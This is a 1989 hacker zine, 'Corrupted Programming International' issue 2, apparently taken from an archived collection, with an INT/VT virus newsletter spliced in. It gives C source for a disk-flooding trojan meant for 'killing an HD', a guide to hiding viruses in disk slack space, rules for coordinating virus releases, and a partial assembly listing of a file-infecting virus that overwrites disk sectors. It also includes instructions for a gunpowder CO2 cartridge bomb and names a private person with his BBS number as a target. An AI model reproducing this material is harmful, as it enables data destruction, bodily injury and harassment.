home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / a_m / cpi2.txt < prev    next >
Encoding:
INI File  |  2003-06-11  |  49.1 KB  |  1,039 lines

  1. [2.1]     * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
  2.         *                                                           *
  3.         *    @@@@@@@@@@@@@      @@@@@@@@@@@@@     @@@@@@@@@@@@@@@   *
  4.         *   @@@@@@@@@@@@@@@    @@@@@@@@@@@@@@@    @@@@@@@@@@@@@@@   *
  5.         *   @@@@       @@@@    @@@@       @@@@          @@@         *
  6.         *   @@@                @@@        @@@@          @@@         *
  7.         *   @@@                @@@@@@@@@@@@@@@          @@@         *
  8.         *   @@@                @@@@@@@@@@@@@@           @@@         *
  9.         *   @@@                @@@                      @@@         *
  10.         *   @@@@       @@@@    @@@                      @@@         *
  11.         *   @@@@@@@@@@@@@@@    @@@                @@@@@@@@@@@@@@@   *
  12.         *    @@@@@@@@@@@@@     @@@                @@@@@@@@@@@@@@@   *
  13.         *                                                           *
  14.           * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
  15.  
  16.                               C O R R U P T E D
  17.  
  18.                             P R O G R A M M I N G
  19.  
  20.                           I N T E R N A T I O N A L
  21.  
  22.  
  23.  
  24.                                   presents:
  25.  
  26.  
  27.                     @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  28.                     @                                     @
  29.                     @       Virili And Trojan Horses      @
  30.                     @                                     @
  31.                     @    A ProtagonistYs Point Of View    @
  32.                     @                                     @
  33.                     @              Issue #2               @
  34.                     @                                     @
  35.                     @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  36.  
  37.  
  38.  
  39.  
  40.  
  41.  
  42.  
  43.  DISCLAIMER::All of the information contained in this newsletter reflects the
  44.              thoughts and ideas of the authors, not their actions. The sole
  45.              purpose of this document is to educate and spread information.
  46.              Any illegal or illicit action is not endorsed by the authors or
  47.              CPI. The authors and CPI are not responsible for any information
  48.              which may present itself as old or mis-interpreted, and actions
  49.              by the reader. Remember, ZJust Say No!Y
  50.  
  51.  
  52.  
  53.  
  54.  
  55.  
  56.  
  57.  
  58.  
  59.  
  60.  
  61.  
  62. CPI #2 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  63. Issue 2, Volume 1 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  64. Release Date::July 27,1989 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  65.  
  66.  
  67.  
  68.  
  69.  
  70.                             Introduction To CPI#2
  71.                             ---------------------
  72.     Well, here is the olong awaited@ second issue of CPI, A ProtagonistYs Point
  73. of view. This issue should prove a bit interesting, I dunno, but at least
  74. entertaining for the time it takes to read. Enjoy the information and donYt
  75. forget the disclaimer.
  76.     Oh yes, if you have some interesting articles or an application to send
  77. us, just see the BBS list at the end of this document. Thanx. All applications
  78. and information will be voted on through the CPI Inner Circle. Hope you enjoy
  79. this issue as much as we enjoyed typing it... hehe...
  80.     Until our next issue, (which may be whenever), good-bye.
  81.  
  82.                                                      Doctor Dissector
  83.  
  84.  
  85.                              Table of Contents
  86.                              -----------------
  87.  Part Title                                                  Author
  88.  -----------------------------------------------------------------------------
  89.  2.1  Title Page, Introduction, & TOC....................... Doctor Dissector
  90.  2.2  Another Explanation Of Virili And Trojans............. Acid Phreak
  91.  2.3  V-IDEA-1.............................................. Ashton Darkside
  92.  2.4  V-IDEA-2.............................................. Ashton Darkside
  93.  2.5  The Generic Virus..................................... Doctor Dissector
  94.  2.6  Aids.................................................. Doctor Dissector
  95.  2.7  Batch File Virus...................................... PHUN 3.2
  96.  2.8  Basic Virus......................................... PHUN 3.2
  97.  2.9  The Alemeda Virus..................................... PHUN 4.3
  98.  2.10 Virili In The News.................................... Various Sources
  99.  2.11 Application For CPI................................... CPI Inner Circle
  100.       (CPI Node Phone #Ys Are In 2.11)
  101.  
  102.  
  103. =========================================================================
  104. Subject:  INTVT Issue 2 1/1
  105. To:       tk0jut2
  106. Original_To:  BITNET%"tk0jut2@niu"
  107.  
  108.  
  109.  
  110.                     The International Network of Thieves    2/16/91
  111.                          Virus and Trojan Oriented
  112.                                Volume No. 2
  113.  
  114.      Welcome back!  Hey guys, (and gals I hope!) error in last issue, the date
  115. was incorrect.  The actual date of INT/VT1.TXT should have been 1/29/91.  Sorry
  116. dudez, had some people think it was a year old...  Ok, geez, already issue two?
  117. You people have been waiting for it haven't you?  GOOD!
  118.  
  119. VERY IMPORTANT NEWS!
  120. --------------------
  121.      Gene Dunn, (handle is Unimax) a PD'er and Virus hater is on the prowl.  He
  122. has called The Edge of Destruction(817-473-3621) many times, and actually came
  123. over to MY house once.  He is threatening to take me to court.  He got a virus
  124. on his PD BBS and wants The EoD shut down because of its virus support, and
  125. because it is the home of INT/VT!!!!  This man is a mad man.  I won't take the
  126. BBS down!  But if the court says so, oh well!  HEY! THIS GUY IS THREATENING THE
  127. HOME OF INT/VT!!!  His name again is GENE DUNN,(Actually Eugene I believe) and
  128. the number to his BBS is 817-834-0143.  What you do with that info is up to you.
  129.  
  130. DISCLAIMER
  131. ----------
  132.      The writers of this article, nor the sysops of The EoD, are responsible for
  133. what you do with the information found/discussed here.  You the user/reader of
  134. this are soley responsible for what you do with this information, as it is
  135. provided for programming research only, and not for ANY illegal uses.
  136.  
  137. HOW WAS LESSON ONE?
  138. -------------------
  139.      How did everyone do on your first lesson?  Did you try it?  On what?  I'd
  140. really enjoy it if you'd call The EoD and leave me mail about it.  Also, if you
  141. plan to continue with these issues and do the examples, I would recommend that
  142. you get a copy of flushot(also available on The EoD), so as to watch the
  143. virii/trojans as they work.
  144.  
  145. INT/VT APPLICATION
  146. ------------------
  147.      In this issue of INT/VT we will be including an application for joining our
  148. association.  Please fill it out and upload it to the SYSOP UPLOADS on The Edge
  149. of Destruction BBS, 817-473-3621.  You will be notified via E-Mail of your
  150. status as a member.  Thank You.
  151.  
  152. SOME INFORMATION ABOUT DEBUG
  153. ----------------------------
  154.      Since not everyone has Turbo Debugger, sNOOp, or some of the nicer
  155. de-buggers, we're going to stick with using the DOS debug.  Those of you who
  156. already write virii and or are familiar with debug, you may want to skip this
  157. section and pick up later down in the article.  This is for the beginners to
  158. debug.  Here are some of the basic listing of commands for debug:
  159.  
  160.   COMMAND / USAGE          / COMMENTS
  161.     A       A[address]       A0100:0100  Start assembling at address 0100:0100
  162.                                In most cases A0100 is all that is neccessary.
  163.     C       C[range address] CC100,1FF 300 Compare portion of memory
  164.     D       D[range]         D0100  Displays the contents of memory at 0100
  165.     E       E[address]       E0100  Start entering byte values at 0100
  166.     F       F[range list]    F0100 L 100 fill 100 bytes
  167.     G       G[address]       G runs the current program
  168.     H       H[values]        H 100 108  ads and subtracts hex numbers
  169.     I       I[value]         I2F8 input one byte from port specified
  170.     L       L[address]       Load
  171.     M       M[range address] move blocks of memory
  172.     N       N[name]          Names file (i.e. N Joe.exe)
  173.     O       O[value byte]    sends specified byte to output port
  174.     Q       Q                Term╨minates Debug
  175.     R       R[register]      Shows the register and edit it
  176.     S       S[range list]    Search the specified range for bytes
  177.     T       T                Trace through program
  178.     U       U[address]       Unnassemble at address x, u0100
  179.     W       W[amt. of bytes] Save to disk
  180.  
  181.      While these are not explained in great detail, it is not neccessary to
  182. do so at this time, but as we use them it will be.  I recommend you go to the
  183. bookstore and purchase Peter Norton's Guide to Assembly Language.  It will run
  184. you about $25.00 and then download MASM5.0 from The EoD.  MASM stand for
  185. Microsoft Assembler, for you who are new to this.  Also available are Turbo C
  186. and Turbo C++ v2.00 and Turbo Pascal v6.00.  Feel free to call and D/L these
  187. files.  Reading Peter Norton's book will make what you find here much easier.
  188. Also, it will teach you how to program in assembler.  Something we DO NOT plan
  189. to do here, but to sharpen your knowledge, or HELP you learn it.  Something else
  190. you need is the BOOK of INT's.  Soon to be available on The EoD.
  191.  
  192. LESSON 2, ANOTHER SIMPLE TROJAN IN C
  193. ------------------------------------
  194.      Our last trojan was in ASM, this one is in C.  And known as Crazy.  What it
  195. does is makes tons of directories on someones HD.  You say, "ooo, big deal."
  196. Exactly, its a VERY BIG deal.  In DOS, you can not remove more than one DIR at a
  197. time.  Can you imagine removing all of those DIR's by hand?  It could take
  198. weeks, months, or years.
  199.  
  200.  
  201. /* Thanks to Ninja Wala of SUP for writing such a niftey trojan! */
  202.  
  203.  
  204.  
  205. #include        <stdio.h>
  206. #include        <stdlib.h>  /* Include Files */
  207. #include        <dir.h>    /* Used by C to make life easier */
  208.  
  209. main()
  210. {
  211.         int i,j;            /* Names I and J as variables */
  212.         char tmp[20];
  213.         char far *ptr;
  214.  
  215.         for (i=0;i<=50;i++){   /* random loop to make dirs */
  216.                 srand(rand());
  217.                 ptr = itoa(rand(),tmp,10);
  218.                 mkdir ( ptr ); /* makes the DIR */
  219.                 chdir ( ptr );
  220.                 for (j=0;j<=50;j++){
  221.                         ptr = itoa(rand(),tmp,10);
  222.                         mkdir( ptr );
  223.                 }
  224.                 chdir ("\\");
  225.         }
  226. }
  227.  
  228.      While we are not going deep into how this works, we give you the source
  229. so you can compile it and have some real nice fun killing an HD.  If you would
  230. like the compiled version (EXE version) you can get it off of many BBS's
  231. including The EoD.
  232.  
  233. NEXT ISSUE
  234. ----------
  235.      In the next issue we will actually look at the inner workings of a virus.
  236. Rather than a trojan.  As to which virus, we can not be sure at this time.
  237. Also, we will start our virus description and fake virus section.
  238.  
  239. JUST FOR ANARCHISTS - CO2 Cartidge Bomb!
  240. ----------------------------------------
  241.      Ok dudez, here is a nice mailbox or toilet bomb.  Let the air out of the
  242. CO2 cartridge, I don't care how.  Use a nail, knife, screwdriver, or whatever
  243. else to make the hole a bit bigger.  Fill it with gunpowder and pack it down by
  244. tapping the bottom of the CO2 cartridge on a hard surface.  Insert a fuse, (I
  245. recommend a good waterproof cannon fuse, but a firecracker fuse will work if its
  246. all you can find.)   Use something that seals real hard and tight.  I have used
  247. silicon before, but I think you cand find something that will try much harder if
  248. you look.  Find your destination.  Light it. RUN!  FAST!  If it blows with you
  249. near it.  Better be a hospital near.  I flushed one down a toilet at a Fina
  250. Station and the Toilet CRACKED and started leaking.  Not to mention water was
  251. everywhere!  Dripping from the ceiling and the walls.
  252.  
  253. CALL OUR HOME WORLD
  254. -------------------
  255.      Call our HQ BBS:  The Edge of Destruction - 817-473-3621
  256.  
  257. APOLOGY
  258. -------
  259.      We realize that this issue was not as informative as some of you were
  260. hoping.  The reason for this is the problem of Gene Dunn.  We have had little or
  261. no time to donate to INT/VT due to his insanity.  We hope to have a MUCH, MUCH
  262. more interesting Issue as Issue 3.  Which you should see in about 1-2 weeks.
  263.  
  264. Subject:  CPI Issue 2 2/11
  265. To:       tk0jut2
  266. Original_To:  BITNET%"tk0jut2@niu"
  267.  
  268.  
  269. [2.2]
  270.                   Explanation of Viruses and Trojans Horses
  271.                   -----------------------------------------
  272.                             Written by Acid Phreak
  273.  
  274.     Like itYs biological counterpart, a computer virus is an agent of
  275. infection, insinuating itself into a program or disk and forcing its host
  276. to replicate the virus code.  Hackers fascinated by the concept of oliving@
  277. code wrote the first viruses as projects or as pranks.  In the past few
  278. years, however, a different kind of virus has become common, one that lives
  279. up to an earlier meaning of the word:  in Latin, virus means poison.
  280.     These new viruses incorporate features of another type of insidious
  281. program called a Trojan horse.  Such a program masquerades as a useful
  282. utility or product but wreaks havoc on your system when you run it.  It may
  283. erase a few files, format your disk, steal secrets--anything software can
  284. do, a Trojan horse can do.  A malicious virus can do all this then attempt
  285. to replicate itself and infect other systems.
  286.     The growing media coverage of the virus conceptand of specific viruse
  287. has promoted the development of a new type of software.  Antivirus programs,
  288. vaccines--they go by many names, but their purpose is to protect from virus
  289. attack.  At present there are more antivirus programs than known viruses
  290. (not for long).
  291.     Some experts quibble about exactly what a virus is.  The most widely
  292. known viruses, the IBM Xmas virus and the recent Internet virus, are not
  293. viruses according to some experts because they do not infect other programs.
  294. Others argue that every Trojan horse is a virus--one that depends completely
  295. on people to spread it.
  296.  
  297. How They Reproduce:
  298. -------------------
  299.     Viruses canYt travel without people.  Your PC will not become infected
  300. unless someone runs an infected program on it, whether accidentally or on
  301. purpose.  PCYs are different from mainframe networks in this way--the
  302. mainframe Internet virus spread by transmitting itself to other systems and
  303. ordering them to execute it as a program.  That kind of active transmission
  304. is not possible on a PC.
  305.     Virus code reproduces by changing something in your system.  Some viruses
  306. strike COMMAND.COM or the hidden system files.  Others, like the notorious
  307. Pakistani-Brain virus, modify the boot sector of floppy disks.  Still others
  308. attach themselves to any .COM or .EXE file.  In truth, any file on your
  309. system that can be executed--whether itYs a program, a device driver, an
  310. overlay, or even a batch file--could be the target of a virus.
  311.     When an infected program runs, the virus code usually executes first and
  312. then transfers control to the original program.  The virus may immediately
  313. infect other programs, or it may load itself into RAM and continue spreading.
  314. If the virus can infect a file that will be used on another system, it has
  315. succeeded.
  316.  
  317. What They Can Do:
  318. -----------------
  319.     Viruses go through two phases:  a replication phase and an action phase.
  320. The action doesnYt happen until a certain even occurs--perhaps reaching a
  321. special date or running the virus a certain number of times.  It wouldnYt
  322. make sense for a virus to damage your system the first time it ran; it needs
  323. some time to grow and spread first.
  324.     The most vulnerable spot for a virus attack is your hard diskYs file
  325. allocation table (FAT).  This table tells DOS where every fileYs data resides
  326. on the disk.  Without the FAT, the dataYs still there but DOS canYt find it.
  327. A virus could also preform a low-level format on some or all the tracks of
  328. your hard disk, erase all files, or change the CMOS memory on AT-class
  329. computers so that they donYt recognize the hard disk.
  330.     Most of the dangers involve data only, but itYs even possible to burn
  331. out a monochrome monitor with the right code.
  332.     Some virus assaults are quite subtl.  One known virus finds four
  333. consecutive digits on the screen and switches two.  LetYs hope youYre not
  334. balancing the companyYs books when this one hits.  Others slow down system
  335. operations or introduce serious errors.
  336.  
  337.  
  338. Subject:  CPI Issue 2 3/11
  339. To:       tk0jut2
  340. Original_To:  BITNET%"tk0jut2@niu"
  341.  
  342.  
  343. [2.3]
  344. -------------------------------------------------------------------------------
  345.             ______             ________            ___________
  346.            / ____ \           |  ____  \          |____   ____|
  347.           | /    \_|          | |    \  |              | |
  348.           | |                 | |_____| |              | |
  349.           | |                 |  ______/               | |
  350.           | |     _           | |                      | |
  351.           | \____/ |   /\     | |           /\     ____| |____      /\
  352.            \______/    \/     |_|           \/    |___________|     \/
  353.  
  354.  
  355.                     oWe ainYt the phucking Salvation Army.@
  356.  
  357. -------------------------------------------------------------------------------
  358.  
  359.  
  360.      C O R R U P T E D   P R O G R A M M E R S   I N T E R N A T I O N A L
  361.  
  362.                             * * *   present   * * *
  363.  
  364.          oOk, IYve written the virus, now where the hell do I put it?@
  365.  
  366.                     By Ashton Darkside (DUNE / SATAN / CPI)
  367.  
  368.  
  369. *******************************************************************************
  370. DISCLAIMER: This text file is provided to the massed for INFORMATIONAL PURPOSES
  371.    ONLY! The author does NOT condone  the use of this information in any manner
  372.    that would be illegal or harmful. The fact that the author knows and spreads
  373.    this information in no way suggests that he uses it. The author also accepts
  374.    no responsibility  for the  malicious use of this  information by anyone who
  375.    reads it! Remember, we may talk alot, but we ojust say no@ to doing it.
  376. *******************************************************************************
  377.  
  378.  
  379.  
  380.  
  381.  
  382.  
  383.  
  384.  
  385.  
  386.         Ok,  wow!  YouYve just  invented  the most  incredibly nifty virus.  It
  387. slices, it dices, it squshes,  it mushes (sorry Berke Breathed)  peopleYs data!
  388. But the only problem is, if you go around infecting every damn file,  some cute
  389. software company is going to  start putting in  procedures that  checksum their
  390. warez each time they run, which will make life for your infecting virus a total
  391. bitch. Or somebodyYs going to come up with an incredibly nifty vaccination util
  392. that will wipe it out. Because, i mean,  hey,  when disk space starts vanishing
  393. suddenly in 500K chunks people tend to notice.  Especially people  like me that
  394. rarely have more than 4096 bytes free on their HD anyway. Ok.  So youYre saying
  395. owow, so what, I can make mine fool-proof@, etc, etc. But wait! ThereYs no need
  396. to go around wasting your precious time when the answer is right there in front
  397. of you! Think about it,  you could be putting that time into writing better and
  398. more inovative viruses,  or you could be  worring about keeping  the file size,
  399. the date & time, and the attributes the same.  With this system,  you only need
  400. to infect one file, preferably one thatYs NOT a system file, but something that
  401. will get run alot, and will be able  to load your nifty virus on a daily basis.
  402. This system also doesnYt take up any disk space, other than the loader. And the
  403. loader could conceivably be under  16 bytes (damn near undetectable).  First of
  404. all, you need to know what programs to infect. Now, everybody knows about using
  405. COMMAND.COM and thatYs unoriginal anyway,  when there are other programs people
  406. run all the time. Like DesqView  or Norton Utilities or  MASM or  a BBS file or
  407. WordPerfect; you get the idea. Better still are dos commands like Format,  Link
  408. or even compression utilities.  But you get the point. Besides,  whoYs going to
  409. miss 16 bytes, right? Now, the good part: where to put the damn thing. One note
  410. to the programmer:  This could get  tricky if  your virus  is over  2k or isnYt
  411. written in Assembly, but the size problem is easy enough, it would  be a simple
  412. thing to break your virus  into parts and have  the parts load each  other into
  413. the system so that you do eventually get the whole thing. The only problem with
  414. using  languages besides assembly  is that itYs  hard to  break them up into 2k
  415. segments. If you want to infect floppys, or smaller disks, youYd be best off to
  416. break your file into 512 byte segments, since theyYre easier to hide. But, hey,
  417. in assembly, you can generate pretty  small programs that do alot, tho.  Ok, by
  418. now youYve probably figured  out that weYre talking  about the part of the disk
  419. called Zthe slackY. Every disk that your computer uses is divided up into parts
  420. called sectors, which are (in almost all cases) 512 bytes. But in larger disks,
  421. and even in floppies,  keeping track of every single sector would be a complete
  422. bitch. So the sectors  are bunched together  into groups  called ZclustersY. On
  423. floppy disks,  clusters are  usually  two sectors,  or 1024 bytes,  and on hard
  424. disks, theyYre typically 4096 bytes, or eight sectors.  Now think about it, you
  425. have  programs on  your  hard disk,  and what are  the odds that they will have
  426. sizes that always end up in increments of 4096? If IYve  lost you,  think of it
  427. this way: the file takes up a  bunch of  clusters,  but in  the last cluster it
  428. uses, there is usually some ZslackY, or space that isnYt used by the file. This
  429. space is between where the actual file ends and  where the actual cluster ends.
  430. So, potentially, you can have up  to 4095 bytes of ZslackY  on a file on a hard
  431. disk, or 1023 bytes of ZslackY on a floppy.  In fact, right now, run the Norton
  432. program  ZFS /S /TY  command from your root directory,  and subtract  the total
  433. size of the files from the total disk space used. ThatYs how much ZslackY space
  434. is on your disk (a hell of alot, even on a floppy). To  use the slack,  all you
  435. need to do  is to  find a  chunk of slack  big enough to  fit your  virus (or a
  436. segment of your virus)  and use direct disk access (INT 13)  to put  your virus
  437. there.  There is one minor  problem with this.  Any disk write to that  cluster
  438. will overwrite the slack with ZgarbageY from memory. This is because of the way
  439. DOS manages itYs disk I/O and it canYt  be fixed without alot of hassles.  But,
  440. there is a way around even this. And it involves a popular  (abeit outdated and
  441. usually ineffectual) form of  virus protection called the READ-ONLY flag.  This
  442. flag is the greatest friend  of this type of virus.  Because if the file is not
  443. written to,  the last cluster is not written to, and voila!  Your virus is safe
  444. >from mischivious accidents.  And since the R-O flag doesnYt  affect INT 13 disk
  445. I/O, it wonYt be in your way. Also, check for programs with the SYSTEM flag set
  446.  
  447.  
  448.  
  449.  
  450.  
  451.  
  452.  
  453.  
  454.  
  455. because that has the same Read-only effect (even tho I havenYt seen it written,
  456. itYs true that  if the  file is designated system,  DOS treats it as read-only,
  457. whether the R-O flag is set or not).  The space after IBMBIOS.COM or IBMDOS.COM
  458. in MS-DOS (not PC-DOS, it uses different files,  or so I am told; IYve been too
  459. lazy to find out myself) or a protected (!) COMMAND.COM  file in either type of
  460. DOS would be ideal for this. All you have to do is then insert your loader into
  461. some innocent-looking file, and you are in business.  All your loader has to do
  462. is read  the sector into  the highest part of memory,  and do a far call to it.
  463. Your virus cann then go  about waiting  for floppy disks  to infect,  and place
  464. loaders on any available executable file on the disk. Sound pretty neet? It is!
  465. Anyway, have fun, and be sure to upload your virus, along with a README file on
  466. how it works to CPI  Headquarters so we  can check it out!  And remember: donYt
  467. target P/H/P boards  (thatYs Phreak/Hack/Pirate boards) with ANY virus. Even if
  468. the Sysop is a leech and you want to  shove his balls down his throat.  Because
  469. if all the PHP boards go down (especially members of CPI), who the hell can you
  470. go to for all  these nifty  virus ideas?  And besides,  itYs betraying your own
  471. people,  which  is uncool even  if you  are an anarchist.  So, target uncool PD
  472. boards, or your  bossYs computer  or whatever,  but donYt attack  your friends.
  473. Other than that, have phun, and phuck it up!
  474.  
  475.                         Ashton Darkside
  476.                         Dallas Underground Network Exchange       (DUNE)
  477.                         Software And Telecom Applicaitons Network (SATAN)
  478.                         Corrupted Programmers International       (CPI)
  479.  
  480.  
  481. PS: Watch it, this file (by itself) has about 3 1/2k of slack (on a hard disk).
  482.  
  483. Call these boards because the sysops are cool:
  484. Oblivion                (SATAN HQ)   Sysop: Agent Orange   (SATAN leader)
  485. System: Utopia          (SATAN HQ)   Sysop: RobbinY Hood   (SATAN leader)
  486. The Andromeda Strain    (CPI HQ)     Sysop: Acid Phreak    (CPI leader)
  487. D.U.N.E.                (DUNE HQ)    Sysop: Freddy Krueger (DUNE leader)
  488. The Jolly BardsmenYs Pub & Tavern
  489. The Sierra Crib
  490. The Phrozen Phorest
  491. Knight ShadowYs Grotto
  492.  
  493. And if I forgot your board, sorry, but donYt send me E-mail bitching about it!
  494.  
  495.  
  496. Subject:  CPI Issue 2 4/11
  497. To:       tk0jut2
  498. Original_To:  BITNET%"tk0jut2@niu"
  499.  
  500.  
  501. [2.4]
  502. -------------------------------------------------------------------------------
  503.             ______             ________            ___________
  504.            / ____ \           |  ____  \          |____   ____|
  505.           | /    \_|          | |    \  |              | |
  506.           | |                 | |_____| |              | |
  507.           | |                 |  ______/               | |
  508.           | |     _           | |                      | |
  509.           | \____/ |   /\     | |           /\     ____| |____      /\
  510.            \______/    \/     |_|           \/    |___________|     \/
  511.  
  512.  
  513.                     oWe ainYt the phucking Salvation Army.@
  514.  
  515. -------------------------------------------------------------------------------
  516.  
  517.  
  518.      C O R R U P T E D   P R O G R A M M E R S   I N T E R N A T I O N A L
  519.  
  520.                             * * *   present   * * *
  521.  
  522.             CPI Virus Standards - Protect yourself and your friends
  523.  
  524.                     By Ashton Darkside (DUNE / SATAN / CPI)
  525.  
  526.  
  527. *******************************************************************************
  528. DISCLAIMER: This text file is provided to the masses for INFORMATIONAL PURPOSES
  529.    ONLY! The author does NOT condone  the use of this information in any manner
  530.    that would be illegal or harmful. The fact that the author knows and spreads
  531.    this information in no way suggests that he uses it. The author also accepts
  532.    no responsibility  for the  malicious use of this  information by anyone who
  533.    reads it! Remember, we may talk alot, but we ojust say no@ to doing it.
  534. *******************************************************************************
  535.  
  536.  
  537.  
  538.  
  539.  
  540.  
  541.  
  542.  
  543.  
  544.         One of the  main problems with viruses is that  once you set one loose,
  545. it is no longer under your control.  I propose to stop this by introducing some
  546. standards of  virus writing that will  enable them to  be deactivated  whenever
  547. they enter a ZfriendlyY (CPI) system.  In the long run,  even the author of the
  548. virus is not immune to being attacked. The following are what I have termed the
  549. CPI standards for writing viruses.  They will allow a virus to easily check any
  550. system they are  being run on  for a type of Zidentity badgeY.  If it is found,
  551. the virus will  not infect the  system it is being run on.  The other standards
  552. are mostly written around this.
  553.  
  554. CPI Standards for writing viruses -
  555.  
  556.         1 - The virus will have  an Zactive  periodY and an  Zinactive periodY.
  557.             The active periods will be no more than one year in length (to make
  558.             it more difficult to discover the virus). You may release different
  559.             versions of your virus  with different Zactive periodsY.  It is not
  560.             recommended that your  virus deactivate itself after the set active
  561.             period, as this would enable  people to deactivate viruses by using
  562.             their computer with the date set  to 2069 or something.  It is also
  563.             required  that  activation  periods  begin on January 1  and end on
  564.             December 31. This will coincide  with the changing  identity codes.
  565.  
  566.         2 - The virus will check for an  identity code by  executing Interrrupt
  567.             12h  with the  following register  settings:  AX - 4350, BX - 4920,
  568.             CX - AB46, DX - 554E.  If the system  is  friendly, then a  pointer
  569.             will be returned in CX:DX to an ASCIIZ (0-terminated) string  which
  570.             will have different contents in different years.  The codes are not
  571.             to be included in any text file,  and should only  be given through
  572.             E-mail on CPI affiliated systems.  You can always ask me by sending
  573.             me  mail at  The Andromeda Strain BBS.  If a system  is detected as
  574.             friendly, the virus will not attempt to infect or damage it, but it
  575.             is ok  to display a  little  greeting message  about  how lucky the
  576.             user was.
  577.  
  578.         3 - We very much encourage you to upload your virus, along with a breif
  579.             description on the  workings into the  CPI section at The Andromeda
  580.             Strain BBS.  Only CPI members  will know about your virus.  This is
  581.             so that CPI members  can share techniques and  it also allows us to
  582.             verify that  the identity check works.  If we see  any improvements
  583.             that could be made, such as ways to streamline code, better ways of
  584.             spreading, etc. we will inform you so that you can make the changes
  585.             if you wish.
  586.  
  587.         4 - It is also suggested that you use ADS standard for virus storage on
  588.             infected disks.  This meathod uses disk slack space for storage and
  589.             is more thoroughly described in a previous text file by me. I think
  590.             that this is the most effective  and invisible way to store viruli.
  591.  
  592.         5 - A list of CPI-Standard  viruli will be  avaliable at all times from
  593.             The Andromeda Strain BBS, to CPI users.  Identity strings will also
  594.             be available to anyone in CPI, or anyone who uploads source code to
  595.             a virus which is 100%  complete except for  the Identity string (it
  596.             must be written to CPI-Standards). Non-CPI members who do this will
  597.             be more seriously considered for membership in CPI.
  598.  
  599.                               Ashton Darkside
  600.                               Dallas Underground Network Exchange       (DUNE)
  601.                               Software And Telecom Applications Network (SATAN)
  602.                               Corrupted Programmers International       (CPI)
  603.  
  604. PS: This file (by itself) has approx 2.5k of slack.
  605.  
  606.  
  607. Subject:  CPI Issue 2 5/11
  608. To:       tk0jut2
  609. Original_To:  BITNET%"tk0jut2@niu"
  610.  
  611.  
  612. ;=============================================================================
  613. ;
  614. ;                                    C*P*I
  615. ;
  616. ;                     CORRUPTED PROGRAMMING INTERNATIONAL
  617. ;                     -----------------------------------
  618. ;                               p r e s e n t s
  619. ;
  620. ;                                    T H E
  621. ;                              _                 _
  622. ;                             (g) GENERIC VIRUS (g)
  623. ;                              ^                 ^
  624. ;
  625. ;
  626. ; A GENERIC VIRUS - THIS ONE MODIFIES ALL COM AND EXE FILES AND ADDS A BIT OF
  627. ;   CODE IN AND MAKES EACH A VIRUS. HOWEVER, WHEN IT MODIFIES EXE FILES, IT
  628. ; RENAMES THE EXE TO A COM, CAUSING DOS TO GIVE THE ERROR oPROGRAM TO BIG TO
  629. ;    FIT IN MEMORY@ THIS WILL BE REPAIRED IN LATER VERSIONS OF THIS VIRUS.
  630. ;
  631. ; WHEN IT RUNS OUT OF FILES TO INFECT, IT WILL THEN BEGIN TO WRITE GARBAGE ON
  632. ;                     THE DISK. HAVE PHUN WITH THIS ONE.
  633. ;
  634. ;  ALSO NOTE THAT THE COMMENTS IN (THESE) REPRESENT DESCRIPTION FOR THE CODE
  635. ;  IMMEDIATE ON THAT LINE. THE OTHER COMMENTS ARE FOR THE ENTIRE ;| GROUPING.
  636. ;
  637. ;  THIS FILE IS FOR EDUCATIONAL PURPOSES ONLY. THE AUTHOR AND CPI WILL NOT BE
  638. ;   HELD RESPONSIBLE FOR ANY ACTIONS DUE TO THE READER AFTER INTRODUCTION OF
  639. ;  THIS VIRUS. ALSO, THE AUTHOR AND CPI DO NOT ENDORSE ANY KIND OF ILLEGAL OR
  640. ;             ILLICIT ACTIVITY THROUGH THE RELEASE OF THIS FILE.
  641. ;
  642. ;                                                        DOCTOR DISSECTOR
  643. ;                                                        CPI ASSOCIATES
  644. ;
  645. ;=============================================================================
  646.  
  647. MAIN:
  648.       NOP                       ;| Marker bytes that identify this program
  649.       NOP                       ;| as infected/a virus
  650.       NOP                       ;|
  651.  
  652.       MOV AX,00                 ;| Initialize the pointers
  653.       MOV ES:[POINTER],AX       ;|
  654.       MOV ES:[COUNTER],AX       ;|
  655.       MOV ES:[DISKS B],AL       ;|
  656.  
  657.       MOV AH,19                 ;| Get the selected drive (dir?)
  658.       INT 21                    ;|
  659.  
  660.       MOV CS:DRIVE,AL           ;| Get current path (save drive)
  661.       MOV AH,47                 ;| (dir?)
  662.       MOV DH,0                  ;|
  663.       ADD AL,1                  ;|
  664.       MOV DL,AL                 ;| (in actual drive)
  665.       LEA SI,CS:OLD_PATH        ;|
  666.       INT 21                    ;|
  667.  
  668.       MOV AH,0E                 ;| Find # of drives
  669.       MOV DL,0                  ;|
  670.       INT 21                    ;|
  671.       CMP AL,01                 ;| (Check if only one drive)
  672.       JNZ HUPS3                 ;| (If not one drive, go the HUPS3)
  673.       MOV AL,06                 ;| Set pointer to SEARCH_ORDER +6 (one drive)
  674.  
  675.       HUPS3: MOV AH,0           ;| Execute this if there is more than 1 drive
  676.       LEA BX,SEARCH_ORDER       ;|
  677.       ADD BX,AX                 ;|
  678.       ADD BX,0001               ;|
  679.       MOV CS:POINTER,BX         ;|
  680.       CLC                       ;|
  681.  
  682. CHANGE_DISK:                    ;| Carry is set if no more .COM files are
  683.       JNC NO_NAME_CHANGE        ;| found. From here, .EXE files will be
  684.       MOV AH,17                 ;| renamed to .COM (change .EXE to .COM)
  685.       LEA DX,CS:MASKE_EXE       ;| but will cause the error message oProgram
  686.       INT 21                    ;| to large to fit in memory@ when starting
  687.       CMP AL,0FF                ;| larger infected programs
  688.       JNZ NO_NAME_CHANGE        ;| (Check if an .EXE is found)
  689.  
  690.       MOV AH,2CH                ;| If neither .COM or .EXE files can be found,
  691.       INT 21                    ;| then random sectors on the disk will be
  692.       MOV BX,CS:POINTER         ;| overwritten depending on the system time
  693.       MOV AL,CS:[BX]            ;| in milliseconds. This is the time of the
  694.       MOV BX,DX                 ;| complete oinfection@ of a storage medium.
  695.       MOV CX,2                  ;| The virus can find nothing more to infect
